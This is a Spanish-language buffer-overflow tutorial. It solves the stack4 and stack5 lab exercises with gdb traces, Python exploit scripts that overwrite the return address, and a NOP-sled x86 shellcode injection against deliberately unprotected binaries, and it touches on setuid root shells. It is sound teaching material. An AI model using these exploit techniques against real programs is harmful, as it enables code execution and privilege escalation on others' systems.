#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you win!\n");
}
Se declaran dos variables locales: cookie
y buf
. Y una función gets(buf)
que toma datos de la entrada estándar y los guarda en buf
. La única diferencia con programas anteriores es que esta vez el valor de cookie
debe ser 0x000d0a00
.
Es idéntico al de programas anteriores.
Antes de ejecutar gets(buf)
el mapa de la pila del programa es el siguiente:
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
eip => gets(buf);
if (cookie == 0x000d0a00)
printf("you win!\n");
}
Información útil del mapa de la pila:
[ebp-0x54] = buf
[ebp-0x4] = cookie
[ebp] = ebp anterior guardado
[ebp+0x4] = dirección de retorno
Probamos con la misma estrategia que en los problemas anteriores, modificando el valor de cookie
para que el condicional se evalúe como verdadero.
#exploit.py
#!/usr/bin/python
output = "A" * 80 + "\x00\x0a\x0d\x00"
print output
Pero observamos que el mensaje ganador no se imprime:
user@abos:~$ python exploit.py |./stack4
buf: bffff5b4 cookie: bffff604
user@abos:~$
Si debugeamos el programa vulnerable con gdb
podemos observar porqué.
user@abos:~$ python exploit.py > exploit
user@abos:~$ gdb stack4
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Reading symbols from stack4...done.
>>> break main
Breakpoint 1 at 0x8048461: file stack4.c, line 10.
>>> run < exploit
Avanzamos varias instrucciones (con el operador ni
en gdb
) hasta llegar a la evaluación condicional y nos detenemos en la instrucción encargada de comparar el valor de cookie
con 0x000d0a00
:
main+39 mov eax,DWORD PTR [ebp-0x4] ; se almacena el valor de cookie en eax
main+42 cmp eax,0x0d0a00 ; se evalua ¿cookie == 0x000d0a00?
Si detenemos la ejecución antes de la comparación podemos observar el valor del registro eax
donde está almacenado el valor de cookie
.
Apesar de que en exploit.py
apuntamos a sobreescribir cookie
con el valor \x00\x0a\x0d\x00
, vemos que el registro eax
que almacena el valor de esa variable tiene un valor de 0x00000000
.
Si analizamos la documentación de gets()
(con man gets
) vemos que la lectura de caracteres se interrumpe con el caracter de nueva línea \n
(el carácter de salto de línea ASCII en hexa es 0a
). Por lo tanto la escritura en cookie
de \x00\x0a\x0d\x00
lee 0x00
y se interrumpe por el carácter 0x0a
que es reemplazado por un caracter nulo.
De esta manera cookie
no tiene el valor adecuado y no se cumple la condición.
En el valor de cookie
hay caracteres que controlan el funcionamiento de gets()
:
gets()
, fgets()
: leen por stdin hasta el byte de control \x0a
.strcpy()
, strlen()
, strcmp()
: manipulan el string hasta \x00
.Previamente se usó una estrategia de corrupción de la pila para modificar el valor de una variable local.
No obstante, el ataque Smash the stack tradicional tiene como objetivo controlar el flujo de ejecución del programa vulnerable para ejecutar código malicioso. Para ello es necesario controlar el registro eip
. Este registro no puede ser modificado de manera directa sino que su valor cambia de acuerdo a las instrucciones de máquina. Por ejemplo, la instrucción ret
toma una dirección del tope de la pila y la almacena en eip
para que el flujo de ejecución salte inmediatamente después a ella.
De esta manera si es posible controlar las direcciones de retorno almacenadas en la pila es posible controlar, en última instancia, el valor del registro eip
y por ende el flujo de ejecución.
Para ello este tipo de ataques cuenta con dos pasos. Primero, gracias al desbordamiento de un búfer, se reescribe una dirección de retorno en la pila. Segundo, se inyecta código malicioso en la pila del proceso, para apuntar allí la dirección de retorno.
Entonces, esta vez la corrupción de la pila tendrá como objetivo modificar el retorno de una rutina para lograr un salto a una dirección determinada dentro del programa vulnerable.
El objetivo ya no será modificar el valor de cookie
sino aprovecharnos de que printf("you win!\n")
es parte del programa vulnerable. De esta manera con una corrupción de la pila modificaremos la dirección de retorno de main()
para que, al retornar, el flujo de ejecución salte directamente a la línea de código printf("you win!\n")
, sin importar la evaluación de cookie
.
<main>:
if (cookie == 0x000d0a00)
mov eax,DWORD PTR [ebp-0x4]
cmp eax,0x41424344
jne 0x80484a9 <main+62>
printf("you win!\n");
--> push 0x8048548
| call 0x8048340 <puts@plt> ; llamado a puts() porque string es estático
| add esp,0x4
| mov eax,0x0
|
| }
| leave
eip=> +---< ret
La estrategia será ingresar un input adecuado para sobreescribir la dirección de retorno de main()
almacenada en la pila, y reemplazarla por la dirección de printf()
que imprime el mensaje ganador.
Identificamos la dirección de la llamada a printf()
user@abos:~$ objdump -M intel -S stack4
Disassembly of section .text:
08048390 <_start>:
....
0804848b <main>:
if (cookie == 0x41424344)
08048492: mov eax,DWORD PTR [ebp-0x4]
08048495: cmp eax,0x41424344
0804849a: jne 0x80484a9 <main+62>
printf("you win!\n");
--> 0x0804849c: push 0x8048548 ; addr de la llamada a printf()
| 0x080484a1: call 0x8048340 <puts@plt>
| 0x080484a6: add esp,0x4
| 0x080484a9: mov eax,0x0
|
| }
| 0x080484ae: leave
eip => +-- 0x080484af: ret
Al ejecutar la instrucción leave, se reestablece el tope de la pila (esp
apunta a ebp
) y se actualiza el registro ebp
al marco de la función anterior (de forma simplificada correspondería a _start
) con un pop ebp
.
En este punto, el tope de la pila esp
apunta a la dirección de retorno de main()
.
La instrucción ret
desapila una dirección del tope de la pila y la almacena en el registro eip
. El programa continúa su ejecución en esa instrucción indicada por eip
.
El objetivo es generar un layout de pila tal que la dirección de retorno en el tope de la pila al momento de ejecutar la instrucción ret
sea la dirección de la primer instrucción del printf()
(0x0804849c: push 0x8048548
).
Planificamos el overflow por entrada estándar, considerando el formato little endian en la dirección de printf
:
Armamos un archivo en Python para ingresar el input: exploit.py
#! /usr/bin/env python
"""Uso: ./exploit.py | ./stack4 """
import sys
from struct import pack
ret_addr = 0x0804849c #addr de printf("you win!")
exploit = "A" * 80 #fill buf
exploit += "BBBB" #fill cookie
exploit += "CCCC" #fill ebp
exploit += pack("<I", ret_addr) #set return address
sys.stdout.write(exploit)
Consideraciones: en python es posible convertir a formato little endian una dirección importando
struct
y usando la funciónpack
:pack("<I", ret_addr)
user@abos:~$ ./exploit.py | ./stack4
buf: bffff5a4 cookie: bffff5f4
you win!
Segmentation fault
user@abos:~$
La condición que evalúa el valor de cookie
es falsa, pero después de ejecutarse el código de main()
la dirección de retorno apunta a printf()
, por lo que se salta allí y se imprime you win!
por pantalla.
Gráficamente logramos el siguiente resultado:
Para lograr sobreescribir la dirección de retorno de main()
tuvimos que pisar valores importantes como el puntero ebp
almacenado en la pila. Es por ello que luego de imprimir el mensaje ganador se produce una violación de segmento al intentar acceder a direcciones por fuera del mapa de memoria del proceso. Si reconstruyeramos el layout de la pila podríamos lograr una salida del programa sin errores.
…………………………………………………………………………………………………………………………………………………
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you loose!\n");
}
El programa es idéntico al de stack4, pero se imprime un mensaje diferente.
No es de utilidad usar la misma estrategia que en el exploit del stack4, dado que si logramos saltear la evaluación condicional, el mensaje que logramos imprimir no es el deseado.
user@abos:~$ python exploit.py | ./stack5
buf: bffff5b4 cookie: bffff604
==> you loose!
¡Ya no podemos saltar al mensaje ganador! El mensaje ganador a imprimir ya no es parte del programa vulnerable.
Una opción entonces es crear un propio programa que imprima el mensaje ganador: nuestro shellcode.
Necesitamos imprimir un mensaje ganador que no está en el programa vulnerable. Si bien es posible pensar diferentes ataques para lograr imprimir el string deseado, es una buena excusa para planificar una estrategia de inyección de código.
La inyección de código malicioso en la pila y su posterior ejecución conforman una técnica clásica para explotar programas vulnerables que es necesario conocer aunque su utilización no sea tan simple en escenarios actuales. Es por ello que aún es necesario deshabilitar artificialmente las mitigaciones que impiden ejecución de código en la pila (X^W) y la aleatoriedad en las direcciones de memoria.
La estrategia de ataque involucra crear un programa o shellcode que imprima por salida estándar el mensaje ganador, inyectarlo en la pila y ejecutarlo.
En buf
ya no va a ir basura sino el shellcode antecedido por varios NOPs. Aprovechamos gets()
para copiar los NOPs y el shellcode como string en la pila en buf
y sobreescribirmos la dirección de retorno para que apunte a los NOPs de buf
.
shellcode = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
buf
en la pila ejecutando el programa vulnerable
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack5 stack5.c
user@abos:~$ ./stack5
buf: bffff5b4 cookie: bffff604
Planificamos el overflow por entrada estándar, considerando el formato little endian:
#! /usr/bin/env python
"""Uso: ./exploit.py | ./stack5 """
import sys
from struct import pack
#shellcode, imprime you win!
shellcode = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
ret_addr = 0xbffff5b4 #addr de buf
exploit = "\x90" * 20 #nops iniciales buf
exploit += shellcode #shellcode
exploit += "A" * (80-20-len(shellcode)) #padding hasta fin de buf
exploit += "BBBB" #lleno cookie
exploit += "CCCC" #lleno ebp
exploit += pack("<I", ret_addr) #defino return address
sys.stdout.write(exploit)
user@abos:~$ ./exploit.py | ./stack5
buf: bffff5b4 cookie: bffff604
you win!
Gráficamente logramos el siguiente resultado:
Es interesante tener en cuenta que el shellcode utilizado realiza un syscall write
para imprimir el mensaje y luego un syscall exit
para finalizar el proceso exitosamente. A diferencia de lo que sucedía en el stack4 (ejercicio en el que la destrucción del layout de la pila provocaba una violación de segmento), en este caso por el modo en que fue construido el shellcode el programa finaliza sin errores.
En escenarios reales el objetivo no será imprimir un mensaje ganador sino lograr privilegios de root para exponer archivos e información privada, manipular logs, etc.
Existen varias estrategias para lograr una shell con privilegios de root o directamente para escalar privilegios a partir de una shell, que exceden el objetivo de esta guía en este punto. Por ejemplo en un escenario en el que se ataca un binario compilado con setuid root, si se logra que el programa vulnerable realice una syscall execve y ejecute una shell con execve("/bin/sh")
ésta será una root shell. Es por ello que en la compilación del binario ejecutable modificamos los permisos de la siguiente manera:
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o abo abo.c
user@abos:~$ sudo chown root ./abo; sudo chmod u+s ./abo ; root owner & setuid
user@abos:~$ ls -la
-rwsr-xr-x 1 root user XXXX Jan 01 00:00 abo
Abo2: No es posible explotar este programa en una arquitectura x86. ¿Por qué?
/* abo2.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* This is a tricky example to make you think *
* and give you some help on the next one */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
exit(1);
}
Tener en cuenta que en los abos originales los nombres de argc
y de argv
están invertidos.
[1]. Hanna, Steve. (2004). Shellcoding for Linux and Windows Tutorial. Disponible en: http://www.vividmachines.com/shellcode/shellcode.html